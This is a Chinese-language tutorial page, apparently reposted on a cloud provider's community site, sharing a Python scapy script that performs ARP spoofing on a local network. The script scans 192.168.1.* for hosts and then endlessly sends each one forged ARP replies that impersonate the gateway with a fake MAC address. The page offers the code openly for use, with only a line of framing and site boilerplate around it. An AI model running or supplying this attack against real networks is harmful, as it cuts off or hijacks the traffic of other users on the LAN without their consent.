python使用arp欺騙偽造網關的方法

來源:互聯網
上載者:User
本文執行個體講述了python使用arp欺騙偽造網關的方法。分享給大家供大家參考。具體實現方法如下:

#coding:utf-8'''arp欺騙區域網路pc,將偽造的網關mac以網關的arp應答發送給pc'''from scapy.all import ARP,send,arpingimport sys,restdout=sys.stdoutIPADDR="192.168.1.*"gateway_ip='192.168.1.1'#偽造網關mac地址gateway_hw='00:11:22:33:44:55'p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)def arp_hack(ip,hw):  #偽造來自網關的arp應答  t=p  t.hwdst=hw  t.pdst=ip  send(t)def get_host():  #得到線上主機的mac地址和對應ip地址   hw_ip = {}  sys.stdout = open('host.info','w')  arping(IPADDR)  sys.stdout = stdout  f = open('host.info','r')  info = f.readlines()  f.close  del info[0]  del info[0]  for host in info :    temp = re.split(r'\s+',host)    hw_ip[temp[1]] = temp[2]  return hw_ipif __name__ == "__main__":  hw_ip = get_host()  while 1 :    for i in hw_ip :      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述對大家的Python程式設計有所協助。

  • 相關文章

    聯繫我們

    該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

    如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.